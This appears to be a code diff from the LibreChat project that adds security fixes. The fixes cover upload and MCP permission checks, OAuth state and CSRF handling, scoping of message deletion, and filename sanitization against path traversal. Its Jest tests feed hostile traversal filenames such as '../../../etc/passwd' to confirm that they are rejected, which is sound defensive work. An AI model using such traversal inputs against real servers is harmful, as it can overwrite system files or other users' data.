expect(response.status).toBe(403);
expect(response.body.error).toBe('Forbidden');
expect(processAgentFileUpload).not.toHaveBeenCalled();
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
});
it('should skip permission check for regular image uploads without agent_id/tool_resource', async () => {
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
file_id: uuidv4(),
});
expect(response.status).toBe(200);
});
it('should return 404 for non-existent agent', async () => {
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: 'agent_nonexistent123456789',
tool_resource: 'context',
file_id: uuidv4(),
});
expect(response.status).toBe(404);
expect(response.body.error).toBe('Not Found');
expect(processAgentFileUpload).not.toHaveBeenCalled();
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
});
it('should allow message_file attachment (boolean true) without EDIT permission', async () => {
const agent = await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const { grantPermission } = require('~/server/services/PermissionService');
await grantPermission({
principalType: PrincipalType.USER,
principalId: otherUserId,
resourceType: ResourceType.AGENT,
resourceId: agent._id,
accessRoleId: AccessRoleIds.AGENT_VIEWER,
grantedBy: authorId,
});
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
message_file: true,
file_id: uuidv4(),
});
expect(response.status).toBe(200);
expect(processAgentFileUpload).toHaveBeenCalled();
});
it('should allow message_file attachment (string "true") without EDIT permission', async () => {
const agent = await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const { grantPermission } = require('~/server/services/PermissionService');
await grantPermission({
principalType: PrincipalType.USER,
principalId: otherUserId,
resourceType: ResourceType.AGENT,
resourceId: agent._id,
accessRoleId: AccessRoleIds.AGENT_VIEWER,
grantedBy: authorId,
});
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
message_file: 'true',
file_id: uuidv4(),
});
expect(response.status).toBe(200);
expect(processAgentFileUpload).toHaveBeenCalled();
});
it('should deny upload when message_file is false (not a message attachment)', async () => {
const agent = await createAgent({
id: agentCustomId,
name: 'Test Agent',
provider: 'openai',
model: 'gpt-4',
author: authorId,
});
const { grantPermission } = require('~/server/services/PermissionService');
await grantPermission({
principalType: PrincipalType.USER,
principalId: otherUserId,
resourceType: ResourceType.AGENT,
resourceId: agent._id,
accessRoleId: AccessRoleIds.AGENT_VIEWER,
grantedBy: authorId,
});
const app = createAppWithUser(otherUserId);
const response = await request(app).post('/images').send({
endpoint: 'agents',
agent_id: agentCustomId,
tool_resource: 'context',
message_file: false,
file_id: uuidv4(),
});
expect(response.status).toBe(403);
expect(response.body.error).toBe('Forbidden');
expect(processAgentFileUpload).not.toHaveBeenCalled();
expect(fs.promises.unlink).toHaveBeenCalledWith('/tmp/t.png');
});
});

View file

@ -2,12 +2,15 @@ const path = require('path');
const fs = require('fs').promises; const fs = require('fs').promises;
const express = require('express'); const express = require('express');
const { logger } = require('@librechat/data-schemas'); const { logger } = require('@librechat/data-schemas');
const { verifyAgentUploadPermission } = require('@librechat/api');
const { isAssistantsEndpoint } = require('librechat-data-provider'); const { isAssistantsEndpoint } = require('librechat-data-provider');
const { const {
processAgentFileUpload, processAgentFileUpload,
processImageFile, processImageFile,
filterFile, filterFile,
} = require('~/server/services/Files/process'); } = require('~/server/services/Files/process');
const { checkPermission } = require('~/server/services/PermissionService');
const { getAgent } = require('~/models/Agent');
const router = express.Router(); const router = express.Router();
@ -22,6 +25,16 @@ router.post('/', async (req, res) => {
metadata.file_id = req.file_id; metadata.file_id = req.file_id;
if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) { if (!isAssistantsEndpoint(metadata.endpoint) && metadata.tool_resource != null) {
const denied = await verifyAgentUploadPermission({
req,
res,
metadata,
getAgent,
checkPermission,
});
if (denied) {
return;
}
return await processAgentFileUpload({ req, res, metadata }); return await processAgentFileUpload({ req, res, metadata });
} }

View file

@ -13,6 +13,7 @@ const {
MCPOAuthHandler, MCPOAuthHandler,
MCPTokenStorage, MCPTokenStorage,
setOAuthSession, setOAuthSession,
PENDING_STALE_MS,
getUserMCPAuthMap, getUserMCPAuthMap,
validateOAuthCsrf, validateOAuthCsrf,
OAUTH_CSRF_COOKIE, OAUTH_CSRF_COOKIE,
@ -49,6 +50,18 @@ const router = Router();
const OAUTH_CSRF_COOKIE_PATH = '/api/mcp'; const OAUTH_CSRF_COOKIE_PATH = '/api/mcp';
const checkMCPUsePermissions = generateCheckAccess({
permissionType: PermissionTypes.MCP_SERVERS,
permissions: [Permissions.USE],
getRoleByName,
});
const checkMCPCreate = generateCheckAccess({
permissionType: PermissionTypes.MCP_SERVERS,
permissions: [Permissions.USE, Permissions.CREATE],
getRoleByName,
});
/** /**
* Get all MCP tools available to the user * Get all MCP tools available to the user
* Returns only MCP tools, completely decoupled from regular LibreChat tools * Returns only MCP tools, completely decoupled from regular LibreChat tools
@ -91,7 +104,11 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
} }
const oauthHeaders = await getOAuthHeaders(serverName, userId); const oauthHeaders = await getOAuthHeaders(serverName, userId);
const { authorizationUrl, flowId: oauthFlowId } = await MCPOAuthHandler.initiateOAuthFlow( const {
authorizationUrl,
flowId: oauthFlowId,
flowMetadata,
} = await MCPOAuthHandler.initiateOAuthFlow(
serverName, serverName,
serverUrl, serverUrl,
userId, userId,
@ -101,6 +118,7 @@ router.get('/:serverName/oauth/initiate', requireJwtAuth, setOAuthSession, async
logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl }); logger.debug('[MCP OAuth] OAuth flow initiated', { oauthFlowId, authorizationUrl });
await MCPOAuthHandler.storeStateMapping(flowMetadata.state, oauthFlowId, flowManager);
setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH); setOAuthCsrfCookie(res, oauthFlowId, OAUTH_CSRF_COOKIE_PATH);
res.redirect(authorizationUrl); res.redirect(authorizationUrl);
} catch (error) { } catch (error) {
@ -143,30 +161,52 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
return res.redirect(`${basePath}/oauth/error?error=missing_state`); return res.redirect(`${basePath}/oauth/error?error=missing_state`);
} }
const flowId = state; const flowsCache = getLogStores(CacheKeys.FLOWS);
logger.debug('[MCP OAuth] Using flow ID from state', { flowId }); const flowManager = getFlowStateManager(flowsCache);
const flowId = await MCPOAuthHandler.resolveStateToFlowId(state, flowManager);
if (!flowId) {
logger.error('[MCP OAuth] Could not resolve state to flow ID', { state });
return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
}
logger.debug('[MCP OAuth] Resolved flow ID from state', { flowId });
const flowParts = flowId.split(':'); const flowParts = flowId.split(':');
if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) { if (flowParts.length < 2 || !flowParts[0] || !flowParts[1]) {
logger.error('[MCP OAuth] Invalid flow ID format in state', { flowId }); logger.error('[MCP OAuth] Invalid flow ID format', { flowId });
return res.redirect(`${basePath}/oauth/error?error=invalid_state`); return res.redirect(`${basePath}/oauth/error?error=invalid_state`);
} }
const [flowUserId] = flowParts; const [flowUserId] = flowParts;
if (
!validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH) && const hasCsrf = validateOAuthCsrf(req, res, flowId, OAUTH_CSRF_COOKIE_PATH);
!validateOAuthSession(req, flowUserId) const hasSession = !hasCsrf && validateOAuthSession(req, flowUserId);
) { let hasActiveFlow = false;
logger.error('[MCP OAuth] CSRF validation failed: no valid CSRF or session cookie', { if (!hasCsrf && !hasSession) {
flowId, const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth');
hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE], const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity;
hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE], hasActiveFlow = pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS;
}); if (hasActiveFlow) {
return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`); logger.debug(
'[MCP OAuth] CSRF/session cookies absent, validating via active PENDING flow',
{
flowId,
},
);
}
} }
const flowsCache = getLogStores(CacheKeys.FLOWS); if (!hasCsrf && !hasSession && !hasActiveFlow) {
const flowManager = getFlowStateManager(flowsCache); logger.error(
'[MCP OAuth] CSRF validation failed: no valid CSRF cookie, session cookie, or active flow',
{
flowId,
hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
},
);
return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
}
logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId); logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId);
const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager); const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager);
@ -281,7 +321,13 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
const toolFlowId = flowState.metadata?.toolFlowId; const toolFlowId = flowState.metadata?.toolFlowId;
if (toolFlowId) { if (toolFlowId) {
logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId }); logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId });
await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens); const completed = await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
if (!completed) {
logger.warn(
'[MCP OAuth] Tool flow state not found during completion — waiter will time out',
{ toolFlowId },
);
}
} }
/** Redirect to success page with flowId and serverName */ /** Redirect to success page with flowId and serverName */
@ -436,69 +482,75 @@ router.post('/oauth/cancel/:serverName', requireJwtAuth, async (req, res) => {
* Reinitialize MCP server * Reinitialize MCP server
* This endpoint allows reinitializing a specific MCP server * This endpoint allows reinitializing a specific MCP server
*/ */
router.post('/:serverName/reinitialize', requireJwtAuth, setOAuthSession, async (req, res) => { router.post(
try { '/:serverName/reinitialize',
const { serverName } = req.params; requireJwtAuth,
const user = createSafeUser(req.user); checkMCPUsePermissions,
setOAuthSession,
async (req, res) => {
try {
const { serverName } = req.params;
const user = createSafeUser(req.user);
if (!user.id) { if (!user.id) {
return res.status(401).json({ error: 'User not authenticated' }); return res.status(401).json({ error: 'User not authenticated' });
} }
logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`); logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
const mcpManager = getMCPManager(); const mcpManager = getMCPManager();
const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id); const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
if (!serverConfig) { if (!serverConfig) {
return res.status(404).json({ return res.status(404).json({
error: `MCP server '${serverName}' not found in configuration`, error: `MCP server '${serverName}' not found in configuration`,
});
}
await mcpManager.disconnectUserConnection(user.id, serverName);
logger.info(
`[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
);
/** @type {Record<string, Record<string, string>> | undefined} */
let userMCPAuthMap;
if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
userMCPAuthMap = await getUserMCPAuthMap({
userId: user.id,
servers: [serverName],
findPluginAuthsByKeys,
});
}
const result = await reinitMCPServer({
user,
serverName,
userMCPAuthMap,
}); });
}
await mcpManager.disconnectUserConnection(user.id, serverName); if (!result) {
logger.info( return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
`[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`, }
);
/** @type {Record<string, Record<string, string>> | undefined} */ const { success, message, oauthRequired, oauthUrl } = result;
let userMCPAuthMap;
if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') { if (oauthRequired) {
userMCPAuthMap = await getUserMCPAuthMap({ const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
userId: user.id, setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
servers: [serverName], }
findPluginAuthsByKeys,
res.json({
success,
message,
oauthUrl,
serverName,
oauthRequired,
}); });
} catch (error) {
logger.error('[MCP Reinitialize] Unexpected error', error);
res.status(500).json({ error: 'Internal server error' });
} }
},
const result = await reinitMCPServer({ );
user,
serverName,
userMCPAuthMap,
});
if (!result) {
return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
}
const { success, message, oauthRequired, oauthUrl } = result;
if (oauthRequired) {
const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
}
res.json({
success,
message,
oauthUrl,
serverName,
oauthRequired,
});
} catch (error) {
logger.error('[MCP Reinitialize] Unexpected error', error);
res.status(500).json({ error: 'Internal server error' });
}
});
/** /**
* Get connection status for all MCP servers * Get connection status for all MCP servers
@ -605,7 +657,7 @@ router.get('/connection/status/:serverName', requireJwtAuth, async (req, res) =>
* Check which authentication values exist for a specific MCP server * Check which authentication values exist for a specific MCP server
* This endpoint returns only boolean flags indicating if values are set, not the actual values * This endpoint returns only boolean flags indicating if values are set, not the actual values
*/ */
router.get('/:serverName/auth-values', requireJwtAuth, async (req, res) => { router.get('/:serverName/auth-values', requireJwtAuth, checkMCPUsePermissions, async (req, res) => {
try { try {
const { serverName } = req.params; const { serverName } = req.params;
const user = req.user; const user = req.user;
@ -662,19 +714,6 @@ async function getOAuthHeaders(serverName, userId) {
MCP Server CRUD Routes (User-Managed MCP Servers) MCP Server CRUD Routes (User-Managed MCP Servers)
*/ */
// Permission checkers for MCP server management
const checkMCPUsePermissions = generateCheckAccess({
permissionType: PermissionTypes.MCP_SERVERS,
permissions: [Permissions.USE],
getRoleByName,
});
const checkMCPCreate = generateCheckAccess({
permissionType: PermissionTypes.MCP_SERVERS,
permissions: [Permissions.USE, Permissions.CREATE],
getRoleByName,
});
/** /**
* Get list of accessible MCP servers * Get list of accessible MCP servers
* @route GET /api/mcp/servers * @route GET /api/mcp/servers

View file

@ -404,8 +404,8 @@ router.put('/:conversationId/:messageId/feedback', validateMessageReq, async (re
router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => { router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => {
try { try {
const { messageId } = req.params; const { conversationId, messageId } = req.params;
await deleteMessages({ messageId }); await deleteMessages({ messageId, conversationId, user: req.user.id });
res.status(204).send(); res.status(204).send();
} catch (error) { } catch (error) {
logger.error('Error deleting message:', error); logger.error('Error deleting message:', error);

View file

@ -19,9 +19,7 @@ const allowSharedLinks =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS); process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
if (allowSharedLinks) { if (allowSharedLinks) {
const allowSharedLinksPublic = const allowSharedLinksPublic = isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
router.get( router.get(
'/:shareId', '/:shareId',
allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth, allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth,

View file

@ -0,0 +1,124 @@
jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
jest.mock('@librechat/data-schemas', () => ({
logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
}));
jest.mock('@librechat/agents', () => ({
getCodeBaseURL: jest.fn(() => 'http://localhost:8000'),
}));
const mockSanitizeFilename = jest.fn();
jest.mock('@librechat/api', () => ({
logAxiosError: jest.fn(),
getBasePath: jest.fn(() => ''),
sanitizeFilename: mockSanitizeFilename,
}));
jest.mock('librechat-data-provider', () => ({
...jest.requireActual('librechat-data-provider'),
mergeFileConfig: jest.fn(() => ({ serverFileSizeLimit: 100 * 1024 * 1024 })),
getEndpointFileConfig: jest.fn(() => ({
fileSizeLimit: 100 * 1024 * 1024,
supportedMimeTypes: ['*/*'],
})),
fileConfig: { checkType: jest.fn(() => true) },
}));
jest.mock('~/models', () => ({
createFile: jest.fn().mockResolvedValue({}),
getFiles: jest.fn().mockResolvedValue([]),
updateFile: jest.fn(),
claimCodeFile: jest.fn().mockResolvedValue({ file_id: 'mock-uuid', usage: 0 }),
}));
const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/user123/mock-uuid__output.csv');
jest.mock('~/server/services/Files/strategies', () => ({
getStrategyFunctions: jest.fn(() => ({
saveBuffer: mockSaveBuffer,
})),
}));
jest.mock('~/server/services/Files/permissions', () => ({
filterFilesByAgentAccess: jest.fn().mockResolvedValue([]),
}));
jest.mock('~/server/services/Files/images/convert', () => ({
convertImage: jest.fn(),
}));
jest.mock('~/server/utils', () => ({
determineFileType: jest.fn().mockResolvedValue({ mime: 'text/csv' }),
}));
jest.mock('axios', () =>
jest.fn().mockResolvedValue({
data: Buffer.from('file-content'),
}),
);
const { createFile } = require('~/models');
const { processCodeOutput } = require('../process');
const baseParams = {
req: {
user: { id: 'user123' },
config: {
fileStrategy: 'local',
imageOutputType: 'webp',
fileConfig: {},
},
},
id: 'code-file-id',
apiKey: 'test-key',
toolCallId: 'tool-1',
conversationId: 'conv-1',
messageId: 'msg-1',
session_id: 'session-1',
};
describe('processCodeOutput path traversal protection', () => {
beforeEach(() => {
jest.clearAllMocks();
});
test('sanitizeFilename is called with the raw artifact name', async () => {
mockSanitizeFilename.mockReturnValueOnce('output.csv');
await processCodeOutput({ ...baseParams, name: 'output.csv' });
expect(mockSanitizeFilename).toHaveBeenCalledWith('output.csv');
});
test('sanitized name is used in saveBuffer fileName', async () => {
mockSanitizeFilename.mockReturnValueOnce('sanitized-name.txt');
await processCodeOutput({ ...baseParams, name: '../../../tmp/poc.txt' });
expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../tmp/poc.txt');
const call = mockSaveBuffer.mock.calls[0][0];
expect(call.fileName).toBe('mock-uuid__sanitized-name.txt');
});
test('sanitized name is stored as filename in the file record', async () => {
mockSanitizeFilename.mockReturnValueOnce('safe-output.csv');
await processCodeOutput({ ...baseParams, name: 'unsafe/../../output.csv' });
const fileArg = createFile.mock.calls[0][0];
expect(fileArg.filename).toBe('safe-output.csv');
});
test('sanitized name is used for image file records', async () => {
const { convertImage } = require('~/server/services/Files/images/convert');
convertImage.mockResolvedValueOnce({
filepath: '/images/user123/mock-uuid.webp',
bytes: 100,
});
mockSanitizeFilename.mockReturnValueOnce('safe-chart.png');
await processCodeOutput({ ...baseParams, name: '../../../chart.png' });
expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../chart.png');
const fileArg = createFile.mock.calls[0][0];
expect(fileArg.filename).toBe('safe-chart.png');
});
});

View file

@ -3,7 +3,7 @@ const { v4 } = require('uuid');
const axios = require('axios'); const axios = require('axios');
const { logger } = require('@librechat/data-schemas'); const { logger } = require('@librechat/data-schemas');
const { getCodeBaseURL } = require('@librechat/agents'); const { getCodeBaseURL } = require('@librechat/agents');
const { logAxiosError, getBasePath } = require('@librechat/api'); const { logAxiosError, getBasePath, sanitizeFilename } = require('@librechat/api');
const { const {
Tools, Tools,
megabyte, megabyte,
@ -146,6 +146,13 @@ const processCodeOutput = async ({
); );
} }
const safeName = sanitizeFilename(name);
if (safeName !== name) {
logger.warn(
`[processCodeOutput] Filename sanitized: "${name}" -> "${safeName}" | conv=${conversationId}`,
);
}
if (isImage) { if (isImage) {
const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1; const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1;
const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`); const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
@ -156,7 +163,7 @@ const processCodeOutput = async ({
file_id, file_id,
messageId, messageId,
usage, usage,
filename: name, filename: safeName,
conversationId, conversationId,
user: req.user.id, user: req.user.id,
type: `image/${appConfig.imageOutputType}`, type: `image/${appConfig.imageOutputType}`,
@ -200,7 +207,7 @@ const processCodeOutput = async ({
); );
} }
const fileName = `${file_id}__${name}`; const fileName = `${file_id}__${safeName}`;
const filepath = await saveBuffer({ const filepath = await saveBuffer({
userId: req.user.id, userId: req.user.id,
buffer, buffer,
@ -213,7 +220,7 @@ const processCodeOutput = async ({
filepath, filepath,
messageId, messageId,
object: 'file', object: 'file',
filename: name, filename: safeName,
type: mimeType, type: mimeType,
conversationId, conversationId,
user: req.user.id, user: req.user.id,
@ -229,6 +236,11 @@ const processCodeOutput = async ({
await createFile(file, true); await createFile(file, true);
return Object.assign(file, { messageId, toolCallId }); return Object.assign(file, { messageId, toolCallId });
} catch (error) { } catch (error) {
if (error?.message === 'Path traversal detected in filename') {
logger.warn(
`[processCodeOutput] Path traversal blocked for file "${name}" | conv=${conversationId}`,
);
}
logAxiosError({ logAxiosError({
message: 'Error downloading/processing code environment file', message: 'Error downloading/processing code environment file',
error, error,

View file

@ -58,6 +58,7 @@ jest.mock('@librechat/agents', () => ({
jest.mock('@librechat/api', () => ({ jest.mock('@librechat/api', () => ({
logAxiosError: jest.fn(), logAxiosError: jest.fn(),
getBasePath: jest.fn(() => ''), getBasePath: jest.fn(() => ''),
sanitizeFilename: jest.fn((name) => name),
})); }));
// Mock models // Mock models

View file

@ -0,0 +1,69 @@
jest.mock('@librechat/api', () => ({ deleteRagFile: jest.fn() }));
jest.mock('@librechat/data-schemas', () => ({
logger: { warn: jest.fn(), error: jest.fn() },
}));
const mockTmpBase = require('fs').mkdtempSync(
require('path').join(require('os').tmpdir(), 'crud-traversal-'),
);
jest.mock('~/config/paths', () => {
const path = require('path');
return {
publicPath: path.join(mockTmpBase, 'public'),
uploads: path.join(mockTmpBase, 'uploads'),
};
});
const fs = require('fs');
const path = require('path');
const { saveLocalBuffer } = require('../crud');
describe('saveLocalBuffer path containment', () => {
beforeAll(() => {
fs.mkdirSync(path.join(mockTmpBase, 'public', 'images'), { recursive: true });
fs.mkdirSync(path.join(mockTmpBase, 'uploads'), { recursive: true });
});
afterAll(() => {
fs.rmSync(mockTmpBase, { recursive: true, force: true });
});
test('rejects filenames with path traversal sequences', async () => {
await expect(
saveLocalBuffer({
userId: 'user1',
buffer: Buffer.from('malicious'),
fileName: '../../../etc/passwd',
basePath: 'uploads',
}),
).rejects.toThrow('Path traversal detected in filename');
});
test('rejects prefix-collision traversal (startsWith bypass)', async () => {
fs.mkdirSync(path.join(mockTmpBase, 'uploads', 'user10'), { recursive: true });
await expect(
saveLocalBuffer({
userId: 'user1',
buffer: Buffer.from('malicious'),
fileName: '../user10/evil',
basePath: 'uploads',
}),
).rejects.toThrow('Path traversal detected in filename');
});
test('allows normal filenames', async () => {
const result = await saveLocalBuffer({
userId: 'user1',
buffer: Buffer.from('safe content'),
fileName: 'file-id__output.csv',
basePath: 'uploads',
});
expect(result).toBe('/uploads/user1/file-id__output.csv');
const filePath = path.join(mockTmpBase, 'uploads', 'user1', 'file-id__output.csv');
expect(fs.existsSync(filePath)).toBe(true);
fs.unlinkSync(filePath);
});
});

View file

@ -78,7 +78,13 @@ async function saveLocalBuffer({ userId, buffer, fileName, basePath = 'images' }
fs.mkdirSync(directoryPath, { recursive: true }); fs.mkdirSync(directoryPath, { recursive: true });
} }
fs.writeFileSync(path.join(directoryPath, fileName), buffer); const resolvedDir = path.resolve(directoryPath);
const resolvedPath = path.resolve(resolvedDir, fileName);
const rel = path.relative(resolvedDir, resolvedPath);
if (rel.startsWith('..') || path.isAbsolute(rel) || rel.includes(`..${path.sep}`)) {
throw new Error('Path traversal detected in filename');
}
fs.writeFileSync(resolvedPath, buffer);
const filePath = path.posix.join('/', basePath, userId, fileName); const filePath = path.posix.join('/', basePath, userId, fileName);
@ -165,9 +171,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
} }
/** /**
* Validates if a given filepath is within a specified subdirectory under a base path. This function constructs * Validates that a filepath is strictly contained within a subdirectory under a base path,
* the expected base path using the base, subfolder, and user id from the request, and then checks if the * using path.relative to prevent prefix-collision bypasses.
* provided filepath starts with this constructed base path.
* *
* @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`. * @param {ServerRequest} req - The request object from Express. It should contain a `user` property with an `id`.
* @param {string} base - The base directory path. * @param {string} base - The base directory path.
@ -180,7 +185,8 @@ async function getLocalFileURL({ fileName, basePath = 'images' }) {
const isValidPath = (req, base, subfolder, filepath) => { const isValidPath = (req, base, subfolder, filepath) => {
const normalizedBase = path.resolve(base, subfolder, req.user.id); const normalizedBase = path.resolve(base, subfolder, req.user.id);
const normalizedFilepath = path.resolve(filepath); const normalizedFilepath = path.resolve(filepath);
return normalizedFilepath.startsWith(normalizedBase); const rel = path.relative(normalizedBase, normalizedFilepath);
return !rel.startsWith('..') && !path.isAbsolute(rel) && !rel.includes(`..${path.sep}`);
}; };
/** /**

View file

@ -34,6 +34,55 @@ const { reinitMCPServer } = require('./Tools/mcp');
const { getAppConfig } = require('./Config'); const { getAppConfig } = require('./Config');
const { getLogStores } = require('~/cache'); const { getLogStores } = require('~/cache');
const MAX_CACHE_SIZE = 1000;
const lastReconnectAttempts = new Map();
const RECONNECT_THROTTLE_MS = 10_000;
const missingToolCache = new Map();
const MISSING_TOOL_TTL_MS = 10_000;
function evictStale(map, ttl) {
if (map.size <= MAX_CACHE_SIZE) {
return;
}
const now = Date.now();
for (const [key, timestamp] of map) {
if (now - timestamp >= ttl) {
map.delete(key);
}
if (map.size <= MAX_CACHE_SIZE) {
return;
}
}
}
const unavailableMsg =
"This tool's MCP server is temporarily unavailable. Please try again shortly.";
/**
* @param {string} toolName
* @param {string} serverName
*/
function createUnavailableToolStub(toolName, serverName) {
const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`;
const _call = async () => [unavailableMsg, null];
const toolInstance = tool(_call, {
schema: {
type: 'object',
properties: {
input: { type: 'string', description: 'Input for the tool' },
},
required: [],
},
name: normalizedToolKey,
description: unavailableMsg,
responseFormat: AgentConstants.CONTENT_AND_ARTIFACT,
});
toolInstance.mcp = true;
toolInstance.mcpRawServerName = serverName;
return toolInstance;
}
function isEmptyObjectSchema(jsonSchema) { function isEmptyObjectSchema(jsonSchema) {
return ( return (
jsonSchema != null && jsonSchema != null &&
@ -211,6 +260,17 @@ async function reconnectServer({
logger.debug( logger.debug(
`[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`, `[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`,
); );
const throttleKey = `${user.id}:${serverName}`;
const now = Date.now();
const lastAttempt = lastReconnectAttempts.get(throttleKey) ?? 0;
if (now - lastAttempt < RECONNECT_THROTTLE_MS) {
logger.debug(`[MCP][reconnectServer] Throttled reconnect for ${serverName}`);
return null;
}
lastReconnectAttempts.set(throttleKey, now);
evictStale(lastReconnectAttempts, RECONNECT_THROTTLE_MS);
const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID; const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID;
const flowId = `${user.id}:${serverName}:${Date.now()}`; const flowId = `${user.id}:${serverName}:${Date.now()}`;
const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS)); const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS));
@ -267,7 +327,7 @@ async function reconnectServer({
userMCPAuthMap, userMCPAuthMap,
forceNew: true, forceNew: true,
returnOnOAuth: false, returnOnOAuth: false,
connectionTimeout: Time.TWO_MINUTES, connectionTimeout: Time.THIRTY_SECONDS,
}); });
} finally { } finally {
// Clean up abort handler to prevent memory leaks // Clean up abort handler to prevent memory leaks
@ -330,9 +390,13 @@ async function createMCPTools({
userMCPAuthMap, userMCPAuthMap,
streamId, streamId,
}); });
if (result === null) {
logger.debug(`[MCP][${serverName}] Reconnect throttled, skipping tool creation.`);
return [];
}
if (!result || !result.tools) { if (!result || !result.tools) {
logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`); logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`);
return; return [];
} }
const serverTools = []; const serverTools = [];
@ -402,6 +466,14 @@ async function createMCPTool({
/** @type {LCTool | undefined} */ /** @type {LCTool | undefined} */
let toolDefinition = availableTools?.[toolKey]?.function; let toolDefinition = availableTools?.[toolKey]?.function;
if (!toolDefinition) { if (!toolDefinition) {
const cachedAt = missingToolCache.get(toolKey);
if (cachedAt && Date.now() - cachedAt < MISSING_TOOL_TTL_MS) {
logger.debug(
`[MCP][${serverName}][${toolName}] Tool in negative cache, returning unavailable stub.`,
);
return createUnavailableToolStub(toolName, serverName);
}
logger.warn( logger.warn(
`[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`, `[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`,
); );
@ -415,11 +487,18 @@ async function createMCPTool({
streamId, streamId,
}); });
toolDefinition = result?.availableTools?.[toolKey]?.function; toolDefinition = result?.availableTools?.[toolKey]?.function;
if (!toolDefinition) {
missingToolCache.set(toolKey, Date.now());
evictStale(missingToolCache, MISSING_TOOL_TTL_MS);
}
} }
if (!toolDefinition) { if (!toolDefinition) {
logger.warn(`[MCP][${serverName}][${toolName}] Tool definition not found, cannot create tool.`); logger.warn(
return; `[MCP][${serverName}][${toolName}] Tool definition not found, returning unavailable stub.`,
);
return createUnavailableToolStub(toolName, serverName);
} }
return createToolInstance({ return createToolInstance({
